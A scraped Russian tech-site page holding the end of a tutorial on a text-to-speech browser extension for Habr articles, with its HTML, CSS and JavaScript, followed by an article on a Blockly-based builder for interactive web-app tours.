<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <link rel="stylesheet" href="css/style.css" type="text/css"/>     <script type="text/javascript" src="js/popup.js" defer></script>     <title>Habr Reader</title> </head> <body> <div class="tool-bar">     <ul>         <li>             <button id="play-button"></button>         </li>         <li>             <button id="pause-button"></button>         </li>         <li>             <button id="stop-button"></button>         </li>         <li>             <label for="speed">Speed</label>             <input type="number" name="speed" id="speed" placeholder="1" value="1" min="0.5" max="2.0"                    step="0.1">         </li>             <li>             <label><input type="radio" name="speech-language" value="ru-RU" id="ru" checked>ru-RU</label>         </li>         <li>             <label><input type="radio" name="speech-language" value="en-US" id="en">en-US</label>         </li>     </ul> </div> </body> </html>
Содержимое style.css
body{    width:180px;    height:60px;    font-family: arial, serif;    font-size: 12px;}.tool-bar{    display: block;    width: 180px;    height: 60px;    line-height: 30px;    background-color: #242424;}.tool-bar ul{    list-style-type: none;    margin: 0;    padding: 0;}.tool-bar ul li{    display: inline-block;    margin: 0;    padding: 0;}button{    background: none;    color: inherit;    border: none;    padding: 0;    font: inherit;    cursor: pointer;    outline: inherit;}.tool-bar ul li button, label{    padding: 0 4px;    text-decoration: none;    color: #FFFFFF;}.tool-bar ul li button:hover{    text-decoration: underline;}input {    width:30px;    padding: 6px 0 4px 10px;    border: 1px solid #9e9e9e;    background: #242424;    border-radius: 4px;    color: #FFFFFF;}

Итоговый вид нашей popup-формы довольно прост и лаконичен. Здесь продемонстрировано, как форма будет отображаться при нажатии на иконку расширения:

Раскрытая popup-форма расширенияРаскрытая popup-форма расширения

Кстати, необязательно каждый раз загружать расширение в браузер, чтобы посмотреть, как смотрится форма. Достаточно просто открыть HTML-файл, к которому привязан файл со стилями с помощью браузера.

Упаковку самого расширения мы рассмотрим в конце.

Шаг 4. Передаём управление фоновому скрипту из popup-формы

Для передачи команд фоновому скрипту идальнейшей обработки содержимого активной вкладки нам потребуется определить события, которые будут происходить при взаимодействии с каждым активным элементом на popup-форме.

Для этого на каждое событие мы добавим обращение к активной вкладке текущего окна, в котором передадим сообщение. В нём мы укажем следующее:

  • название команды, которую нужно выполнить, например, todo: "play", чтобы сообщить, что мы хотим начать либо продолжить воспроизведение;

  • значения переменных, которые нужны будут для выполнения этой команды, например, newSpeed: speed.value, lang: language,где мы передадим новое значение скорости и языка.

Содержимое popup.js
// определение кнопокconst playButton = document.getElementById("play-button");const pauseButton = document.getElementById("pause-button");const stopButton = document.getElementById("stop-button");// определение полей вводаconst speed = document.getElementById("speed");// назначение действий на соответствующие кнопки/поляif(playButton)    playButton.addEventListener("click", play);if(pauseButton)    pauseButton.addEventListener("click", pause);if(stopButton)    stopButton.addEventListener("click", stop);if(speed)    speed.addEventListener("input", changeSpeed);// применение настроек на странице происходит при помощи их передачи в сообщении,// предназначенном для background скриптаfunction play(){    // определение выбранного языка воспроизведения    let language = document.querySelector('input[name="speech-language"]:checked').value;    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {        chrome.tabs.sendMessage(tabs[0].id, {todo: "play", newSpeed: speed.value, lang: language});    });}function pause(){    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {        chrome.tabs.sendMessage(tabs[0].id, {todo: "pause"});    });}function stop(){    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {        chrome.tabs.sendMessage(tabs[0].id, {todo: "stop"});    });}function changeSpeed(){    chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {        chrome.tabs.sendMessage(tabs[0].id, {todo: "changeSpeed", newSpeed: speed.value});    });}

Шаг 5. Пишем фоновый скрипт для синтеза речи

На самом деле,браузер уже содержит встроенные возможности для синтеза речи. Их мы и будем использовать.

Кстати, если вам хочется побаловаться с браузерным синтезом речи, вот мой проект на GitHub и страница для тестирования, которая будет работать даже со смартфона (за исключением некоторых встроенных в приложения браузеров).

Вот, что будет происходить в нашем фоновом скрипте:

  1. При загрузке страницы, содержащей элемент с ID "post-content-body", скрипт будет рекурсивно складывать содержимое текстовых элементов внутри родительского, чтобы сформировать текст для будущего синтеза (это гораздо проще, чем запрашивать разрешение на использование Habr API, но стоит учитывать, что однажды этот ID может поменяться);

  2. По окончании обхода элементов будет выдано сообщение о том, что пост готов к прочтению (но вы можете вместо этого модифицировать код так, чтобы воспроизведение аудио начиналось сразу после подготовки текста);

  3. Далее ожидается действие пользователя через popup-форму. Как только фоновый скрипт получит сообщение от popup-формы с командой и/или значением переменных, то он инициализирует переменные внутри себя и запустит соответствующие функции, например, найдёт голос для нужного языка, а затем начнёт синтез речи в случае нажатия на кнопку воспроизведения.

Конечно же, символы, содержимое таблиц, ссылки и некоторое другое нестандартное текстовое наполнение будут криво обрабатываться встроенным синтезом речи, да и не всегда ударение будет верным. Но зато, в целом вышла неплохая автоматизация ^_^

Далее вы можете модифицировать код на своё усмотрение.

Содержимое content.js
// создание средства синтеза речи и получение списка голосовconst synthesis = window.speechSynthesis;const voices = synthesis.getVoices();const utterance = new SpeechSynthesisUtterance();// текущий символ, который синтезируется в данный момент времениlet currentCharacter;// назначение события на момент, когда речь перестанет проигрыватьсяutterance.addEventListener("end", () => {    currentCharacter = null;});// получение символа, который синтезируется в данный моментutterance.addEventListener("boundary", event => {    currentCharacter = event.charIndex;});// переменные: язык речи, скорость проигрывания аудио, воспроизводимый текстlet speechLanguage = "ru-RU";let playerSpeed = 1;let textToPlay = "Открой статью, а потом уже нажимай сюда";/** * Рекурсивно прибавляет текстовое содержимое дочерних элементов для формирования текста поста * @param elementForSearchingIn - родительский элемент, в котором будет осуществляться поиск текстовых нодов */function joinTextNodes(elementForSearchingIn) {    if (elementForSearchingIn.hasChildNodes()) {        elementForSearchingIn.childNodes.forEach(function (node) {            joinTextNodes(node)        });    } else if (elementForSearchingIn.nodeType === Text.TEXT_NODE) {        textToPlay += " " + elementForSearchingIn.textContent;    }}/** * Поиск голоса для заданного языка речи * @param lang - заданный язык речи * @returns {null|SpeechSynthesisVoice} */function findVoice(lang) {    for (let i = 0; i < voices.length; i++) {        if (voices[i].lang === lang)            return voices[i];    }    return null;}/** * Проигрывание синтезированного высказывания */function playTextToSpeech() {    // если проигрывание речи было поставлено на паузу - происходит продолжение проигрывания    if (synthesis.paused && synthesis.speaking)        return synthesis.resume();    if (synthesis.speaking) return;    // определение параметров синтезируемой речи    utterance.text = textToPlay;    utterance.rate = playerSpeed || 1;    utterance.lang = speechLanguage;    utterance.voice = findVoice(utterance.lang);    // проигрывание речи    synthesis.speak(utterance);}/** * Установка проигрывания синтезированной речи на паузу */function pauseTextToSpeech() {    if (synthesis.speaking)        synthesis.pause();}/** * Остановка (прекращение) проигрывания синтезированной речи */function stopTextToSpeech() {    synthesis.resume();    synthesis.cancel();}/** * Изменение скорости речи в режиме реального времени */function changeSpeed() {    if (synthesis.paused && synthesis.speaking) return;    if (currentCharacter === null) return;    stopTextToSpeech();    playTextToSpeech(utterance.text.substring(currentCharacter));}/** * Осуществление взаимодействия pop-up формы с background скриптом при помощи отправки-получения сообщений * в активной вкладке с передачей в них необходимых для работы параметров. * Переданные параметры перезаписывают предыдущие настройки */chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {    switch (request.todo) {        case "play":            playerSpeed = request.newSpeed;            speechLanguage = request.lang;            playTextToSpeech();            break;        case "changeSpeed":            playerSpeed = request.newSpeed;            changeSpeed();            break;        case "pause":            pauseTextToSpeech();            break;        case "stop":            stopTextToSpeech();            break;    }    sendResponse({        response: "Message received"    });});// подготовка текста поста к чтениюwindow.onload = function () {    let contentBody = document.getElementById("post-content-body");    if (contentBody) {        textToPlay = "";        joinTextNodes(contentBody);        alert("Текст поста готов к чтению")    }};

Шаг 6. Упаковка и установка расширения

Я опишу упаковку и установку для Opera и Chrome. В других браузерах процесс, скорее всего, будет аналогичным, поскольку основные действия мы будем делать через стандартный раздел браузера "Расширения".

Для того, чтобы упаковать расширение, нужно проделать следующее:

  • Opera Меню Расширения Расширения включить Режим Разработчика Упаковка расширения

  • Google Chrome Дополнительные инструменты Расширения включить Режим Разработчика Упаковка расширения

На выходе вы получите crx-файл расширения, который, по факту, представляет собой архив с запакованным проектом.

Расширение можно установить через раздел "Расширения" двумя путями:

  • если модификация не требуется - для ряда браузеров достаточно перетащить подготовленный crx-файл из папки с проектом в окно с открытым разделом расширений и нажать на "Установить";

  • если была сделана модификация кода и требуется тестирование перед упаковкой(или браузер блокирует установку), то в окне с разделом расширений требуется нажать на "Загрузить распакованное расширение" и выбрать в диалоговом окне папку с проектом (предварительно убедитесь, что у вас включен режим разработчика).

Заключение

На этом мой небольшой туториал подошёл к концу.

Если у вас есть собственные расширения, которыми вы хотите поделиться - оставляйте в комментариях ссылки на них вместе с кратким описанием.

Кстати, мой хороший товарищ сделал на основе моего проекта расширение для того, чтобы оставлять для себя комментарии к объявлениям на Avito. Кому интересно - код и релиз вы найдёте на его GitHub.

Документированные исходники моего расширения и его запакованную версию можно найти здесь.

Спасибо за внимание! До новых встреч!

Подробнее..

Конструктор интерактивных туров

11.09.2020 10:13:26 | Автор: admin


В настоящее время существует множество методологий, позволяющих регулировать процесс производства ПО. Однако какая бы из них ни использовалась, в календарном плане проектных работ всегда должен присутствовать пункт о проведении обучения конечного пользователя работе с текущей версией программного продукта. При этом время, затрачиваемое на обучение, должно быть соразмерным скорости разработки и обновления ПО.


Процесс обучения


Современные компании-разработчики стараются взять под контроль и теоретическое, и практическое обучение пользователя. Это подразумевает присутствие учителя (специалиста предметной области) в процессе обучения. Ему необходимо в режиме реального времени контролировать обучение, чтобы пользователь получил теоретические знания о работе с функционалом программы, а также закрепил их на практике.


Одной из компаний, которая занимается не только разработкой программного обеспечения, но и помогает пользователям своих решений освоить управление ими, является НПО Криста. Для этого на базе компании создан специальный учебный центр.


Автоматизация обучения


С распространением компьютерных технологий стало возможным внедрение автоматического управления процессом обучения. Т. е. контроль за практическим обучением пользователя возлагается на программу. Она представляет собой интерактивное руководство, которое направляет пользователя по функционалу приложения, подобно GPS-навигатору. Программа указывает на элементы в пользовательском интерфейсе, объясняя, что делает каждый значок или кнопка или где найти меню. Такие руководства называются интерактивными турами по функциональным возможностям программы. Специалист лишь единожды пишет программу обучающего тура, который впоследствии воспроизводится на компьютерах конечных пользователей. Обучение считается завершенным, если пользователь прошел тур от начала и до конца.



Постановка задачи


Наиболее актуально создание интерактивных туров по web-приложениям. Именно в данной сфере обновление программного продукта происходит значительно быстрее и чаще, чем при разработке десктопных приложений. Поэтому после перехода на современные web-ориентированные технологии в НПО Криста было принято решение о внедрении интерактивных туров в процесс обучения пользователя. Отсюда возникла потребность в инструменте для создания интерактивных туров по функционалу web-приложения.


При выборе инструмента, прежде всего, необходимо было учитывать, что его потенциальными пользователями являются не программисты, а специалисты предметных областей. Следовательно, разработка туров должна происходить на основе манипуляции графическими объектами, а не на языке программирования. Существующие решения, удовлетворяющие данному критерию, ориентированы на создание туров по обычным сайтам и не подходят для предприятий, занимающихся автоматизацией сложных бизнес-процессов. Также существующие решения не позволяют получить программный код созданного тура. Следовательно, нет возможности управлять его хранением. Это критично для НПО Криста, так как информационная безопасность является важным требованием к программным продуктам компании. Поэтому было принято решение разработать собственный инструмент для создания интерактивных туров по функционалу web-приложений.


Входными данными для разрабатываемой системы является загружённое в браузер web-приложение с функционалом, по которому создается тур. Выходными данными являются туры, сохранённые в реляционную базу данных под управлением PostgreSQL. Для получения входных данных необходимо, чтобы разрабатываемая программа работала в браузере. Следовательно, требуется создать web-приложения, что предполагает использование клиент-серверной технологии.



Структура системы


Инструментарий для создания туров представлен пользователю через графический интерфейс клиентской программы. Она состоит из вспомогательной и центральной подсистем. Центральная подсистема предоставляет функционал для создания кода тура, а вспомогательная подсистема обеспечивает воспроизведение тура, а также определение элементов интерфейса для вставки их в сценарий тура. Созданные туры необходимо хранить в базе данных при помощи подсистемы хранения.



Взаимодействие между клиентом и сервером происходит посредством передачи HTTP-сообщений с данными о турах в формате JSON. Обращение к БД осуществляется на языке SQL. Основным языком программирования, используемым при разработке клиентского приложения, является TypeScript. Архитектура клиента определяется использованием библиотек React и Redux. Серверное приложение разработано как Maven-проект на языке Java.



Технологические решения


Основной частью при создании туров является редактор кода тура. За его основу была взята библиотека Blockly. Она разрабатывается и поддерживается компанией Google с 2012 года. Blockly свободно распространяется вместе c исходным кодом и включает в себя графический редактор, а также генераторы кода для подготовки исполнения программы в среде web-приложения. Программы в этом редакторе создаются на визуальном языке программирования Blockly путём соединения соответствующих блоков. Существует возможность определения новых блоков с заданием их формы и генерируемого ими программного кода (подробнее). Благодаря этому редактор может быть расширен за счёт добавления блоков, реализующих логику создания тура.


Так как клиентское приложение предоставляет инструментарий для web-разработки, было принято решение добавить его в инструменты разработчика DevTools браузера Chrome в качестве расширения (подробнее: раз, два). При этом часть клиента, реализующая вспомогательную подсистему, встраивается на инспектируемую страницу web-приложения, по которому создается тур (по примеру). Связь между частями обеспечивается по схеме.


Следовательно, программа функционирует в двух окнах: в окне web-приложения и в окне DevTools. Соответствующий пользовательский интерфейс изображён ниже. В окне DevTools пользователь управляет созданием тура. На инспектируемой странице он выбирает элементы интерфейса, которые необходимо выделить, а также тестирует созданный тур.



Алгоритм работы системы


Весь пользовательский интерфейс состоит из react-компонентов. Взаимодействуя с ними, пользователь передает некоторые входные данные, при обработке которых клиент может обращаться за дополнительными услугами к серверу. В результате обработки происходит обновление внутреннего состояния клиентского приложения, в соответствии с которым меняется пользовательский интерфейс.



В зависимости от услуги, запрашиваемой у сервера, клиент передаёт параметры запроса. На их основании происходит обращение к базе данных, после чего клиентскому приложению отправляется сообщение с соответствующей информацией.



Самое первое взаимодействие между клиентом и сервером (6 7) происходит всякий раз, когда пользователь открывает вкладку с плагином (4). Тогда же происходит добавление части клиентской программы к веб-приложению, по которому создается тур (5).



Результат разработки


При создании нового тура откроется встроенный редактор Blockly, в левой части которого расположены стандартные разделы. К ним добавлен раздел Тур. Он содержит специальные графические объекты, которые позволяют, например, добавить подсказку к элементу на инспектируемой странице, затемнение вокруг элемента, ожидание события и прочие возможности.



При помощи таких блоков описывается сценарий тура, на основании которого генерируется соответствующий JavaScript-код.



При запуске воспроизведения в окно web-приложения, по которому создавался тур, загружается и выполняется JavaScript-код тура. При этом на странице появляется навигационная панель для управления воспроизведением тура, а также описанные в сценарии элементы. В представленном примере на первом шаге отрисуется пульсирующий указатель на элемент интерфейса, нажатие на который запустит воспроизведение следующего шага тура.



Несмотря на то что разработанное приложение ориентировано на программные продукты компании НПО Криста, оно может использоваться для создания туров по любому web-приложению.



Разработанное приложение стало основой для создания обучающей системы и может использоваться специалистами предметных областей при подготовке к обучению. Внедрение программного продукта ожидается после интеграции его с демонстрационным модулем, позволяющим показывать созданные туры конечному пользователю.


Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru